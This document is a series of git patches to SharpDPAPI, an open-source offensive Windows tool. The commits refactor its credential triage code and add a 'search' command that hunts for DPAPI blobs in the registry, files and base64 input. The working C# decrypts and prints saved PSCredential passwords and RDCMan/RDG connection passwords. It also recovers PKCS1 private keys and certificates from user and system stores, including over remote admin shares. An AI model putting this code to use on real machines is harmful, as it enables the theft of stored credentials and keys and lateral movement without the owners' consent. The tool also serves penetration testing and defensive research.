strin // triage a saved PSCredential .xml // example - `Get-Credential | Export-Clixml -Path C:\Temp\cred.xml` - if (System.IO.File.Exists(credFile)) - { - DateTime lastAccessed = System.IO.File.GetLastAccessTime(credFile); - DateTime lastModified = System.IO.File.GetLastWriteTime(credFile); + if (!File.Exists(credFile)) + throw new Exception($"PSCredential .xml); file '{credFile}' is not accessible or doesn't exist!\n"); + var lastAccessed = File.GetLastAccessTime(credFile); + var lastModified = File.GetLastWriteTime(credFile); - XmlDocument xmlDoc = new XmlDocument(); - xmlDoc.Load(credFile); + var xmlDoc = new XmlDocument(); + xmlDoc.Load(credFile); - Console.WriteLine(" CredFile : {0}", credFile); - Console.WriteLine(" Accessed : {0}", lastAccessed); - Console.WriteLine(" Modified : {0}", lastModified); + Console.WriteLine(" CredFile : {0}", credFile); + Console.WriteLine(" Accessed : {0}", lastAccessed); + Console.WriteLine(" Modified : {0}", lastModified); - XmlNodeList props = xmlDoc.GetElementsByTagName("Props"); - if (props.Count > 0) - { - string userName = props[0].ChildNodes[0].InnerText; - string dpapiBlob = props[0].ChildNodes[1].InnerText; + var props = xmlDoc.GetElementsByTagName("Props"); + if (props.Count > 0) + { + var userName = props[0].ChildNodes[0].InnerText; + var dpapiBlob = props[0].ChildNodes[1].InnerText; - Console.WriteLine(" User Name : {0}", userName); + Console.WriteLine(" User Name : {0}", userName); - byte[] blobBytes = Helpers.StringToByteArray(dpapiBlob); + var blobBytes = Helpers.StringToByteArray(dpapiBlob); - if (blobBytes.Length > 0) - { - byte[] decBytesRaw = Dpapi.DescribeDPAPIBlob(blobBytes, MasterKeys, "blob", unprotect); + if (blobBytes.Length > 0) + { + var decBytesRaw = Dpapi.DescribeDPAPIBlob(blobBytes, MasterKeys, "blob", unprotect); - if ((decBytesRaw != null) && (decBytesRaw.Length != 0)) + if ((decBytesRaw != null) && (decBytesRaw.Length != 0)) + { + var password = ""; + var finalIndex = Array.LastIndexOf(decBytesRaw, (byte)0); + if (finalIndex > 1) { - string password = ""; - int finalIndex = Array.LastIndexOf(decBytesRaw, (byte)0); - if (finalIndex > 1) - { - byte[] decBytes = new byte[finalIndex + 1]; - Array.Copy(decBytesRaw, 0, decBytes, 0, finalIndex); - password = Encoding.Unicode.GetString(decBytes); - } - else - { - password = Encoding.ASCII.GetString(decBytesRaw); - } - Console.WriteLine(" Password : {0}", password); + var decBytes = new byte[finalIndex + 1]; + Array.Copy(decBytesRaw, 0, decBytes, 0, finalIndex); + password = Encoding.Unicode.GetString(decBytes); + } + else + { + password = Encoding.ASCII.GetString(decBytesRaw); } + + Console.WriteLine(" Password : {0}", password); } } - Console.WriteLine(); - } - else - { - Console.WriteLine("\r[X] PSCredential .xml file '{0}' is not accessible or doesn't exist!\n", credFile); } + + Console.WriteLine(); } public static void TriageRDCManFile(Dictionary MasterKeys, string rdcManFile, bool unprotect = false) { // triage a specific RDCMan.settings file - if (System.IO.File.Exists(rdcManFile)) - { - DateTime lastAccessed = System.IO.File.GetLastAccessTime(rdcManFile); - DateTime lastModified = System.IO.File.GetLastWriteTime(rdcManFile); + if (!File.Exists(rdcManFile)) + return; - XmlDocument xmlDoc = new XmlDocument(); - xmlDoc.Load(rdcManFile); + var lastAccessed = File.GetLastAccessTime(rdcManFile); + var lastModified = File.GetLastWriteTime(rdcManFile); - Console.WriteLine(" RDCManFile : {0}", rdcManFile); - Console.WriteLine(" Accessed : {0}", lastAccessed); - Console.WriteLine(" Modified : {0}", lastModified); + var xmlDoc = new XmlDocument(); + xmlDoc.Load(rdcManFile); + Console.WriteLine(" RDCManFile : {0}", rdcManFile); + Console.WriteLine(" Accessed : {0}", lastAccessed); + Console.WriteLine(" Modified : {0}", lastModified); - // show any recently used servers - XmlNodeList recentlyUsed = xmlDoc.GetElementsByTagName("recentlyUsed"); - if (recentlyUsed[0]["server"] != null) - { - string recentlyUsedServer = recentlyUsed[0]["server"].InnerText; - Console.WriteLine(" Recent Server : {0}", recentlyUsedServer); - } + // show any recently used servers + var recentlyUsed = xmlDoc.GetElementsByTagName("recentlyUsed"); + if (recentlyUsed[0]["server"] != null) + { + var recentlyUsedServer = recentlyUsed[0]["server"].InnerText; + Console.WriteLine(" Recent Server : {0}", recentlyUsedServer); + } - // see if there are any credential profiles - XmlNodeList credProfileNodes = xmlDoc.GetElementsByTagName("credentialsProfile"); - if ((credProfileNodes != null) && (credProfileNodes.Count != 0)) - { - Console.WriteLine("\r\n Cred Profiles"); - } - foreach (XmlNode credProfileNode in credProfileNodes) - { - Console.WriteLine(); - DisplayCredProfile(MasterKeys, credProfileNode, unprotect); - } + // see if there are any credential profiles + var credProfileNodes = xmlDoc.GetElementsByTagName("credentialsProfile"); + if ((credProfileNodes != null) && (credProfileNodes.Count != 0)) + { + Console.WriteLine("\r\n Cred Profiles"); + } + foreach (XmlNode credProfileNode in credProfileNodes) + { + Console.WriteLine(); + DisplayCredProfile(MasterKeys, credProfileNode, unprotect); + } - // check default logonCredentials stuff - XmlNodeList logonCredNodes = xmlDoc.GetElementsByTagName("logonCredentials"); - if ((logonCredNodes != null) && (logonCredNodes.Count != 0)) - { - Console.WriteLine("\r\n Default Logon Credentials"); - } - foreach (XmlNode logonCredNode in logonCredNodes) - { - Console.WriteLine(); - DisplayCredProfile(MasterKeys, logonCredNode, unprotect); - } + // check default logonCredentials stuff + var logonCredNodes = xmlDoc.GetElementsByTagName("logonCredentials"); + + if ((logonCredNodes != null) && (logonCredNodes.Count != 0)) + { + Console.WriteLine("\r\n Default Logon Credentials"); + } + foreach (XmlNode logonCredNode in logonCredNodes) + { + Console.WriteLine(); + DisplayCredProfile(MasterKeys, logonCredNode, unprotect); + } - // grab the recent RDG files - XmlNodeList filesToOpen = xmlDoc.GetElementsByTagName("FilesToOpen"); - XmlNodeList items = filesToOpen[0].ChildNodes; + // grab the recent RDG files + var filesToOpen = xmlDoc.GetElementsByTagName("FilesToOpen"); + var items = filesToOpen[0].ChildNodes; - // triage recently used RDG files - foreach (XmlNode rdgFile in items) + // triage recently used RDG files + foreach (XmlNode rdgFile in items) + { + if (Interop.PathIsUNC(rdcManFile)) { - if (Interop.PathIsUNC(rdcManFile)) + // If the RDCMan.settings file is a \\UNC path (so /server:X was used), + // check if the .RDG file is local or also a \\UNC path. + if (!Interop.PathIsUNC(rdgFile.InnerText)) { - // If the RDCMan.settings file is a \\UNC path (so /server:X was used), - // check if the .RDG file is local or also a \\UNC path. - if (!Interop.PathIsUNC(rdgFile.InnerText)) - { - // If the file .RDG file is local, try to translate it to the server \\UNC path - string computerName = rdcManFile.Split(new[] { '\\' }, StringSplitOptions.RemoveEmptyEntries)[0]; - string rdgUncPath = Helpers.ConvertLocalPathToUNCPath(computerName, rdgFile.InnerText); - TriageRDGFile(MasterKeys, rdgUncPath, unprotect); - } - else - { - TriageRDGFile(MasterKeys, rdgFile.InnerText, unprotect); - } + // If the file .RDG file is local, try to translate it to the server \\UNC path + var computerName = rdcManFile.Split(new[] { '\\' }, StringSplitOptions.RemoveEmptyEntries)[0]; + var rdgUncPath = Helpers.ConvertLocalPathToUNCPath(computerName, rdgFile.InnerText); + TriageRDGFile(MasterKeys, rdgUncPath, unprotect); } else { TriageRDGFile(MasterKeys, rdgFile.InnerText, unprotect); } } - Console.WriteLine(); - } - else - { - // Console.WriteLine("\r\n [X] RDCMan.settings file '{0}' is not accessible or doesn't exist!", rdcManFile); + else + { + TriageRDGFile(MasterKeys, rdgFile.InnerText, unprotect); + } } + Console.WriteLine(); } public static void DisplayCredProfile(Dictionary MasterKeys, XmlNode credProfileNode, bool unprotect = false) { // helper that displays a Credential Profile/Logon settings XML node from RDG/RDCMan.settings files - string profileName = credProfileNode["profileName"].InnerText; + var profileName = credProfileNode["profileName"].InnerText; if (credProfileNode["userName"] == null) { @@ -951,11 +905,11 @@ public static void DisplayCredProfile(Dictionary MasterKeys, Xml } else { - string userName = credProfileNode["userName"].InnerText.Trim(); - string domain = credProfileNode["domain"].InnerText.Trim(); - string b64Password = credProfileNode["password"].InnerText; - string password = ""; - string fullUserName = ""; + var userName = credProfileNode["userName"].InnerText.Trim(); + var domain = credProfileNode["domain"].InnerText.Trim(); + var b64Password = credProfileNode["password"].InnerText; + var password = ""; + var fullUserName = ""; if (String.IsNullOrEmpty(domain)) { @@ -963,35 +917,35 @@ public static void DisplayCredProfile(Dictionary MasterKeys, Xml } else { - fullUserName = String.Format("{0}\\{1}", domain, userName); + fullUserName = $"{domain}\\{userName}"; } Console.WriteLine(" Profile Name : {0}", profileName); Console.WriteLine(" UserName : {0}", fullUserName); - byte[] passwordDPAPIbytes = Convert.FromBase64String(b64Password); + var passwordDPAPIbytes = Convert.FromBase64String(b64Password); - if (passwordDPAPIbytes.Length > 0) - { - byte[] decBytesRaw = Dpapi.DescribeDPAPIBlob(passwordDPAPIbytes, MasterKeys, "rdg", unprotect); + if (passwordDPAPIbytes.Length <= 0) + return; - if (decBytesRaw.Length != 0) + var decBytesRaw = Dpapi.DescribeDPAPIBlob(passwordDPAPIbytes, MasterKeys, "rdg", unprotect); + + if (decBytesRaw.Length != 0) + { + // chop off anything after the UNICODE end + var finalIndex = Array.LastIndexOf(decBytesRaw, (byte)0); + if (finalIndex > 1) { - // chop off anything after the UNICODE end - int finalIndex = Array.LastIndexOf(decBytesRaw, (byte)0); - if (finalIndex > 1) - { - byte[] decBytes = new byte[finalIndex + 1]; - Array.Copy(decBytesRaw, 0, decBytes, 0, finalIndex); - password = Encoding.Unicode.GetString(decBytes); - } - else - { - password = Encoding.ASCII.GetString(decBytesRaw); - } + var decBytes = new byte[finalIndex + 1]; + Array.Copy(decBytesRaw, 0, decBytes, 0, finalIndex); + password = Encoding.Unicode.GetString(decBytes); + } + else + { + password = Encoding.ASCII.GetString(decBytesRaw); } - Console.WriteLine(" Password : {0}", password); } + Console.WriteLine(" Password : {0}", password); } } @@ -999,14 +953,14 @@ public static void TriageRDGFile(Dictionary MasterKeys, string r { // parses a RDG connection file, decrypting any password blobs as appropriate - if (System.IO.File.Exists(rdgFilePath)) + if (File.Exists(rdgFilePath)) { Console.WriteLine("\r\n {0}", rdgFilePath); - XmlDocument xmlDoc = new XmlDocument(); + var xmlDoc = new XmlDocument(); xmlDoc.Load(rdgFilePath); - XmlNodeList credProfileNodes = xmlDoc.GetElementsByTagName("credentialsProfile"); + var credProfileNodes = xmlDoc.GetElementsByTagName("credentialsProfile"); if ((credProfileNodes != null) && (credProfileNodes.Count != 0)) { @@ -1018,7 +972,7 @@ public static void TriageRDGFile(Dictionary MasterKeys, string r DisplayCredProfile(MasterKeys, credProfileNode, unprotect); } - XmlNodeList servers = xmlDoc.GetElementsByTagName("server"); + var servers = xmlDoc.GetElementsByTagName("server"); if ((servers != null) && (servers.Count != 0)) { @@ -1062,14 +1016,14 @@ public static void TriageRDGFolder(Dictionary MasterKeys, string { // triage a specific RDG folder - if (System.IO.Directory.Exists(folder)) + if (Directory.Exists(folder)) { - string[] systemFiles = Directory.GetFiles(folder); + var systemFiles = Directory.GetFiles(folder); if ((systemFiles != null) && (systemFiles.Length != 0)) { Console.WriteLine("\r\nFolder : {0}\r\n", folder); - foreach (string file in systemFiles) + foreach (var file in systemFiles) { if (file.EndsWith(".rdg")) { From 563651494dd5d581a3cd10fec608bc3b7a76e751 Mon Sep 17 00:00:00 2001 From: leechristensen Date: Wed, 1 Jul 2020 19:22:18 -0700 Subject: [PATCH 02/66] more cleanups --- SharpDPAPI/lib/Triage.cs | 26 +++++++++++++------------- 1 file changed, 13 insertions(+), 13 deletions(-) diff --git a/SharpDPAPI/lib/Triage.cs b/SharpDPAPI/lib/Triage.cs index bf009a8..b8f5a08 100755 --- a/SharpDPAPI/lib/Triage.cs +++ b/SharpDPAPI/lib/Triage.cs @@ -1,6 +1,7 @@ using System; using System.Collections.Generic; using System.IO; +using System.Security.AccessControl; using System.Text; using System.Text.RegularExpressions; using System.Xml; @@ -602,7 +603,7 @@ public static void TriageCertFolder(string folder, Dictionary Ma public static void TriageSystemCerts(Dictionary MasterKeys) { if (!Helpers.IsHighIntegrity()) - throw new Exception("Must be elevated to triage SYSTEM credentials!\r\n"); + throw new PrivilegeNotHeldException("Must be elevated to triage SYSTEM credentials!\r\n"); Console.WriteLine("\r\n[*] Triaging System Certificates\r\n"); @@ -637,9 +638,7 @@ public static void TriageUserCerts(Dictionary MasterKeys, string //TODO have not verified with multiple users if (Helpers.IsHighIntegrity() || (!String.IsNullOrEmpty(computerName) && Helpers.TestRemote(computerName))) { - var userFolder = ""; - - userFolder = !String.IsNullOrEmpty(computerName) ? + var userFolder = !String.IsNullOrEmpty(computerName) ? $"\\\\{computerName}\\C$\\Users\\" : $"{Environment.GetEnvironmentVariable("SystemDrive")}\\Users\\"; @@ -692,15 +691,15 @@ public static void TriageUserCerts(Dictionary MasterKeys, string foreach (var key in certDictionary.Keys) { - if (certDictionary[key].First != "") - { - Console.WriteLine("[*] Private key file {0} was recovered\r\n", key); - Console.WriteLine("[*] PKCS1 Private key\r\n"); - Console.WriteLine(certDictionary[key].First); - Console.WriteLine("\r\n[*] Certificate\r\n"); - Console.WriteLine(certDictionary[key].Second); - Console.WriteLine(); - } + if (string.IsNullOrEmpty(certDictionary[key].First)) + continue; + + Console.WriteLine("[*] Private key file {0} was recovered\r\n", key); + Console.WriteLine("[*] PKCS1 Private key\r\n"); + Console.WriteLine(certDictionary[key].First); + Console.WriteLine("\r\n[*] Certificate\r\n"); + Console.WriteLine(certDictionary[key].Second); + Console.WriteLine(); } Console.WriteLine("[*] Hint: openssl pkcs12 -export -inkey key.pem -in cert.cer -out cert.p12"); } @@ -759,6 +758,7 @@ public static void TriagePSCredFile(Dictionary MasterKeys, strin if (!File.Exists(credFile)) throw new Exception($"PSCredential .xml); file '{credFile}' is not accessible or doesn't exist!\n"); + var lastAccessed = File.GetLastAccessTime(credFile); var lastModified = File.GetLastWriteTime(credFile); From 8ed8953f2bba4949c83429b3775be195f91bf7bc Mon Sep 17 00:00:00 2001 From: leechristensen Date: Sat, 4 Jul 2020 17:29:35 -0700 Subject: [PATCH 03/66] Adding the search command --- README.md | 23 ++++++++++++++++ SharpChrome/lib/Bcrypt.cs | 5 ---- SharpDPAPI/Domain/CommandCollection.cs | 1 + SharpDPAPI/SharpDPAPI.csproj | 2 ++ SharpDPAPI/lib/Dpapi.cs | 16 +++-------- SharpDPAPI/lib/Helpers.cs | 37 ++++++++++++++++++++++++-- SharpDPAPI/lib/Triage.cs | 2 +- 7 files changed, 66 insertions(+), 20 deletions(-) diff --git a/README.md b/README.md index 106aad7..6810251 100755 --- a/README.md +++ b/README.md @@ -1150,6 +1150,29 @@ Retrieve the DPAPI backup key for the specified DC, outputting the backup key to [*] Backup key written to : key.pvk +#### search +The **search** comand will search for potential DPAPI blobs in the registry, files, folders, and base64 blobs. Usage: +``` +SharpDPAPI.exe search /type:registry [/path:HKLM\path\to\key] [/showErrors] +SharpDPAPI.exe search /type:folder /path:C:\path\to\folder [/maxBytes:] +SharpDPAPI.exe search /type:file /path:C:\path\to\file [/maxBytes:] +SharpDPAPI.exe search /type:base64 [/base:] +``` +The `search` command works by searching for the following bytes, which represent the header (Version + DPAPI provider GUID) of DPAPI blob structure: + +``` +0x01, 0x00, 0x00, 0x00, 0xD0, 0x8C, 0x9D, 0xDF, 0x01, 0x15, 0xD1, 0x11, 0x8C, 0x7A, 0x00, 0xC0, 0x4F, 0xC2, 0x97, 0xEB +``` + +The search command has different arguments depending on the data type being scanned. To designate the data type, use the `/type` argument specifying `registry`, `folder`, `file`, or `base64`. If the `/type` argument is not present, the command will search the registry by default. + +When searching the registry with no other arguments, the command will recursively search the HKEY_LOCAL_MACHINE and HKEY_USERS hives. Use `/path` parameter to specify a root to key to search from (e.g. `/path:HKLM\Software`) and use the `/showErrors` argument to display errors that occuring during enumeration. + +When searching a file or folder, specify a path with `/path:C:\Path\to\file\or\folder` and optionally use `/maxBytes:` to specify the number of bytes to read from each file (default: 1024 bytes). The command will read the bytes from the beginning of the file and search for DPAPI blobs. + +When searching a base64 blob, specify the base64-encoded bytes to scan with the `/base64:` parameter. + + ## SharpChrome Commands ### logins diff --git a/SharpChrome/lib/Bcrypt.cs b/SharpChrome/lib/Bcrypt.cs index 479a363..aa0eee6 100644 --- a/SharpChrome/lib/Bcrypt.cs +++ b/SharpChrome/lib/Bcrypt.cs @@ -1,9 +1,4 @@ using System; -using System.ComponentModel; -using System.IO; -using System.Runtime.InteropServices; -using System.Security.Cryptography; -using System.Text; using System.Runtime.InteropServices; namespace SharpChrome diff --git a/SharpDPAPI/Domain/CommandCollection.cs b/SharpDPAPI/Domain/CommandCollection.cs index 65bf9f2..f5443db 100755 --- a/SharpDPAPI/Domain/CommandCollection.cs +++ b/SharpDPAPI/Domain/CommandCollection.cs @@ -31,6 +31,7 @@ public CommandCollection() _availableCommands.Add(Vaults.CommandName, () => new Vaults()); _availableCommands.Add(Certificate.CommandName, () => new Certificate()); _availableCommands.Add(MachineCertificates.CommandName, () => new MachineCertificates()); + _availableCommands.Add(Search.CommandName, () => new Search()); } public bool ExecuteCommand(string commandName, Dictionary arguments) diff --git a/SharpDPAPI/SharpDPAPI.csproj b/SharpDPAPI/SharpDPAPI.csproj index 681caa0..a4a9f29 100755 --- a/SharpDPAPI/SharpDPAPI.csproj +++ b/SharpDPAPI/SharpDPAPI.csproj @@ -71,6 +71,7 @@ + @@ -84,6 +85,7 @@ + diff --git a/SharpDPAPI/lib/Dpapi.cs b/SharpDPAPI/lib/Dpapi.cs index 6ab05c9..bd46c40 100755 --- a/SharpDPAPI/lib/Dpapi.cs +++ b/SharpDPAPI/lib/Dpapi.cs @@ -7,7 +7,6 @@ using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates; using System.Text; -using System.Text.RegularExpressions; namespace SharpDPAPI { @@ -229,8 +228,7 @@ public static byte[] DescribeDPAPICertBlob(byte[] blobBytes, Dictionary DescribeCertificate(byte[] certificateBytes, - Dictionary MasterKeys, bool machine = false) + public static Tuple DescribeCertificate(byte[] certificateBytes, Dictionary MasterKeys, bool machine = false) { var plaintextBytes = DescribeDPAPICertBlob(certificateBytes, MasterKeys); var keypairTuple = new Tuple("", ""); @@ -259,8 +257,6 @@ public static Tuple DescribeCertificate(byte[] certificateBytes, store.Close(); } - var found = false; - foreach (var cert in certCollection) { var PublicXML = cert.PublicKey.Key.ToXmlString(false).Replace("", ""); @@ -283,7 +279,6 @@ public static Tuple DescribeCertificate(byte[] certificateBytes, } sb.AppendLine("-----END CERTIFICATE-----"); keypairTuple = new Tuple(PrivatePKCS1, sb.ToString()); - found = true; // Commented code for pfx generation due to MS not giving //a dispose method < .NET4.6 https://snede.net/the-most-dangerous-constructor-in-net/ // X509Certificate2 certificate = new X509Certificate2(cert.RawData); @@ -389,7 +384,7 @@ public static Tuple ParseDecCertBlob(byte[] decBlobBytes) RSAKeyInfo.Modulus = Helpers.ConvertHexStringToByteArray(Helpers.OS2IP(modulus, true).ToHexString()); - RSAKeyInfo.Exponent = Helpers.trimByte(Helpers.ConvertHexStringToByteArray(Helpers.OS2IP(pubexp, true).ToHexString())); + RSAKeyInfo.Exponent = Helpers.TrimByte(Helpers.ConvertHexStringToByteArray(Helpers.OS2IP(pubexp, true).ToHexString())); RSAKeyInfo.D = Helpers.ConvertHexStringToByteArray(Helpers.OS2IP(privExponent, true).ToHexString()); RSAKeyInfo.P = Helpers.ConvertHexStringToByteArray(Helpers.OS2IP(prime1, true).ToHexString()); RSAKeyInfo.Q = Helpers.ConvertHexStringToByteArray(Helpers.OS2IP(prime2, true).ToHexString()); @@ -568,7 +563,7 @@ public static byte[] DescribeDPAPIBlob(byte[] blobBytes, Dictionary MasterKeys) + public static ArrayList DescribeVaultPolicy(byte[] policyBytes, Dictionary MasterKeys) { // parses a vault policy file, attempting to decrypt if possible // a two-valued arraylist of the aes128/aes256 keys is returned if decryption is successful @@ -1338,7 +1333,6 @@ public static byte[] GetMasterKey(byte[] masterKeyBytes) } public static byte[] CalculateKeys(string password, string directory, bool domain) { - var userDPAPIBasePath = $"{Environment.GetEnvironmentVariable("USERPROFILE")}\\AppData\\Roaming\\Microsoft\\Protect\\"; var usersid = Path.GetFileName(directory).TrimEnd(Path.DirectorySeparatorChar); var utf16pass = Encoding.Unicode.GetBytes(password); @@ -1457,8 +1451,6 @@ public static KeyValuePair DecryptMasterKey(byte[] masterKeyByte public static KeyValuePair DecryptMasterKeyWithSha(byte[] masterKeyBytes, byte[] shaBytes) { // takes masterkey bytes and SYSTEM_DPAPI masterkey sha bytes, returns a dictionary of guid:sha1 masterkey mappings - var mapping = new KeyValuePair(); - var guidMasterKey = $"{{{Encoding.Unicode.GetString(masterKeyBytes, 12, 72)}}}"; var mkBytes = GetMasterKey(masterKeyBytes); diff --git a/SharpDPAPI/lib/Helpers.cs b/SharpDPAPI/lib/Helpers.cs index 025a568..210c419 100755 --- a/SharpDPAPI/lib/Helpers.cs +++ b/SharpDPAPI/lib/Helpers.cs @@ -11,7 +11,7 @@ namespace SharpDPAPI { - public class Helpers + public static class Helpers { public static void EncodeLength(BinaryWriter stream, int length) { @@ -73,7 +73,7 @@ public static void EncodeIntegerBigEndian(BinaryWriter stream, byte[] value, boo } } - public static byte[] trimByte(byte[] input) + public static byte[] TrimByte(byte[] input) { int byteCounter = input.Length - 1; @@ -538,5 +538,38 @@ public static string ByteArrayToString(byte[] ba) } + public static bool Contains(this T[] array, T[] candidate) + { + if (IsEmptyLocate(array, candidate)) + return false; + + if (candidate.Length > array.Length) + return false; + + for (int a = 0; a <= array.Length - candidate.Length; a++) + { + if (array[a].Equals(candidate[0])) + { + int i = 0; + for (; i < candidate.Length; i++) + { + if (false == array[a + i].Equals(candidate[i])) + break; + } + if (i == candidate.Length) + return true; + } + } + return false; + } + + static bool IsEmptyLocate(T[] array, T[] candidate) + { + return array == null + || candidate == null + || array.Length == 0 + || candidate.Length == 0 + || candidate.Length > array.Length; + } } } \ No newline at end of file diff --git a/SharpDPAPI/lib/Triage.cs b/SharpDPAPI/lib/Triage.cs index b8f5a08..95ad293 100755 --- a/SharpDPAPI/lib/Triage.cs +++ b/SharpDPAPI/lib/Triage.cs @@ -444,7 +444,7 @@ public static void TriageVaultFolder(string folder, Dictionary M var policyBytes = File.ReadAllBytes(policyFilePath); // first try to get vault keys from the Policy.vpol - var keys = Dpapi.DescribePolicy(policyBytes, MasterKeys); + var keys = Dpapi.DescribeVaultPolicy(policyBytes, MasterKeys); // make sure we have keys returned if (keys.Count <= 0) From 4263c024df4b10e8b6cc7c80ed04019972981707 Mon Sep 17 00:00:00 2001 From: leechristensen Date: Sat, 4 Jul 2020 17:29:54 -0700 Subject: [PATCH 04/66] Adding the search command --- SharpDPAPI/Commands/Search.cs | 357 ++++++++++++++ SharpDPAPI/lib/FastDirectoryEnumerator.cs | 568 ++++++++++++++++++++++ 2 files changed, 925 insertions(+) create mode 100644 SharpDPAPI/Commands/Search.cs create mode 100644 SharpDPAPI/lib/FastDirectoryEnumerator.cs diff --git a/SharpDPAPI/Commands/Search.cs b/SharpDPAPI/Commands/Search.cs new file mode 100644 index 0000000..0b83067 --- /dev/null +++ b/SharpDPAPI/Commands/Search.cs @@ -0,0 +1,357 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text.RegularExpressions; +using CodeProject; +using Microsoft.Win32; + +namespace SharpDPAPI.Commands +{ + public class Search : ICommand + { + public static string CommandName => "search"; + delegate void ProcessFileCallback(string path); + + + private static readonly byte[] dpapiBlobHeader = + { + // Version(4 bytes) | DPAPI Proivder Guid(16-bytes - df9d8cd0-1501-11d1-8c7a-00c04fc297eb) + 0x01, 0x00, 0x00, 0x00, 0xD0, 0x8C, 0x9D, 0xDF, 0x01, 0x15, 0xD1, 0x11, 0x8C, 0x7A, 0x00, 0xC0, 0x4F, 0xC2, 0x97, 0xEB + }; + + private readonly byte[][] dpapiBlobSearches = + { + dpapiBlobHeader, + + // The following are potential base64 representations of the DPAPI provider GUID + // Generated by putting dpapiProviderGuid into the script here: https://www.leeholmes.com/blog/2017/09/21/searching-for-content-in-base-64-strings/ + System.Text.Encoding.ASCII.GetBytes("AAAA0Iyd3wEV0RGMegDAT8KX6"), + System.Text.Encoding.ASCII.GetBytes("AQAAANCMnd8BFdERjHoAwE/Cl+"), + System.Text.Encoding.ASCII.GetBytes("EAAADQjJ3fARXREYx6AMBPwpfr"), + + // Hex string representation + System.Text.Encoding.ASCII.GetBytes("01000000D08C9DDF0115D1118C7A00C04FC297EB") + }; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("\r\n[*] Action: Searching for DPAPI blobs"); + + if (!arguments.ContainsKey("/type")) + arguments["/type"] = "registry"; + + Console.WriteLine($"[*] Search type: {arguments["/type"]}"); + + switch (arguments["/type"]) + { + case "registry": + SearchRegistry(arguments); + break; + + case "folder": + SearchFolder(arguments); + break; + + case "file": + SearchFile(arguments); + break; + + case "base64": + SearchBase64(arguments); + break; + + default: + throw new ArgumentException($"Unknown /type parameter '{arguments["/type"]}'"); + } + } + + private void SearchFolder(Dictionary arguments) + { + if (!arguments.ContainsKey("/path")) + throw new ArgumentException("/path argument not specified"); + + var path = arguments["/path"]; + + if (!Directory.Exists(path)) + throw new ArgumentException($"The folder '{path}' does not exist"); + + uint maxBytes = 1024; + if (arguments.ContainsKey("/maxBytes") && !uint.TryParse(arguments["/maxBytes"], out maxBytes)) + throw new ArgumentException($"Invalid uint value '{arguments["/maxBytes"]}' in the /maxBytes argument"); + + Console.WriteLine($"[*] Searching for the folder {path} for file containing DPAPI blobs the first {maxBytes} bytes\n"); + + FindFiles(path, maxBytes, (filePath) => + { + if(FileContainsDpapiBlob(filePath, maxBytes)) + Console.WriteLine(filePath); + }); + } + + + private void FindFiles(string path, uint maxBytes, ProcessFileCallback processFile) + { + // Modified largely from https://developerslogblog.wordpress.com/2020/02/25/c-how-to-find-all-files-recursively-in-a-folder/ + var paths = new List(); + var directoriesQueue = new Queue(); + directoriesQueue.Enqueue(path); + + while (directoriesQueue.Count > 0) + { + var currentPath = (string)directoriesQueue.Dequeue(); + + try + { + //Console.WriteLine("Processing folder " + currentPath); + var directories = Directory.GetDirectories(currentPath); + foreach (var directory in directories) + directoriesQueue.Enqueue(directory); + + foreach (var file in FastDirectoryEnumerator.EnumerateFiles(currentPath)) + processFile(file.Path); + } + catch + { + //Console.WriteLine($"ERROR: {e}"); + } + } + } + + + private void SearchFile(Dictionary arguments) + { + if(!arguments.ContainsKey("/path")) + throw new ArgumentException("/path argument not specified"); + + var path = arguments["/path"]; + + if(!File.Exists(path)) + throw new ArgumentException($"The file '{path}' does not exist"); + + uint maxBytes = 1024; + if (arguments.ContainsKey("/maxBytes") && !uint.TryParse(arguments["/maxBytes"], out maxBytes)) + throw new ArgumentException($"Invalid uint value '{arguments["/maxBytes"]}' in the /maxBytes argument"); + + Console.WriteLine($"[*] Searching for DPAPI blobs in the file {path}\n"); + if (FileContainsDpapiBlob(path, maxBytes)) + Console.WriteLine($"Found potential DPAPI blob at {path}"); + else + Console.WriteLine("No DPAPI blob found"); + } + + private bool FileContainsDpapiBlob(string path, uint bytesToSearch) + { + var fileContents = new byte[bytesToSearch]; + using (var file = new FileStream(path, FileMode.Open)) + { + file.Read(fileContents, 0, (int) bytesToSearch); + } + + return ContainsDpapiBlob(fileContents); + } + + private void SearchBase64(Dictionary arguments) + { + if (!arguments.ContainsKey("/base64")) + throw new ArgumentException("/base64 argument not found"); + + ContainsDpapiBlob(Convert.FromBase64String(arguments["/base64"])); + } + + private void SearchRegistry(Dictionary arguments) + { + var showErrors = arguments.ContainsKey("/showErrors"); + + + if (arguments.ContainsKey("/path")) + { + string keyPath; + RegistryHive hive; + // Based on Seatbelt's code here: https://github.com/GhostPack/Seatbelt/blob/master/Seatbelt/Commands/Windows/RegistryValueCommand.cs#L43-L60 + var path = arguments["/path"]; + var separatorPos = path.IndexOf("\\"); + + if (separatorPos == -1) // e.g. HKLM + { + hive = GetHive(path); + keyPath = "\\"; + } + else if (separatorPos == path.Length) // e.g. HKLM\ + { + var hiveStr = path.Substring(0, separatorPos); + hive = GetHive(hiveStr); + keyPath = "\\"; + } + else // e.g. HKLM\Software + { + var hiveStr = path.Substring(0, separatorPos); + hive = GetHive(hiveStr); + keyPath = path.Substring(separatorPos + 1); + } + + Console.WriteLine($"[*] Searching the key '{path}' for DPAPI blobs. Hive: {hive} Path: {keyPath}{(showErrors ? " (Displaying all errors)" : "")}\n"); + + var root = RegistryKey.OpenRemoteBaseKey(hive, "").OpenSubKey(keyPath, RegistryKeyPermissionCheck.ReadSubTree); + foreach (var match in FindRegistryBlobs(root, showErrors)) + { + Console.WriteLine(match); + } + } + else + { + Console.WriteLine($"[*] Searching the key HLKM and HKCU hives for DPAPI blobs\n"); + + var matchingKeys = new List(); + Console.WriteLine("[*] Searching USERS hive:\n"); + foreach (var match in FindRegistryBlobs(Registry.Users.OpenSubKey("\\", RegistryKeyPermissionCheck.ReadSubTree), showErrors)) + { + Console.WriteLine(match); + } + + matchingKeys.Clear(); + Console.WriteLine("\n\n[*] Searching HKLM hive:\n"); + + foreach (var match in FindRegistryBlobs(Registry.LocalMachine.OpenSubKey("\\", RegistryKeyPermissionCheck.ReadSubTree), showErrors)) + { + Console.WriteLine(match); + } + } + } + + // From Seatbelt: https://github.com/GhostPack/Seatbelt/blob/master/Seatbelt/Util/RegistryUtil.cs#L440 + public static RegistryHive GetHive(string name) + { + switch (name.ToUpper()) + { + case "HKCR": + case "HKEY_CLASSES_ROOT": + return RegistryHive.ClassesRoot; + + case "HKEY_CURRENT_CONFIG": + return RegistryHive.CurrentConfig; + + case "HKCU": + case 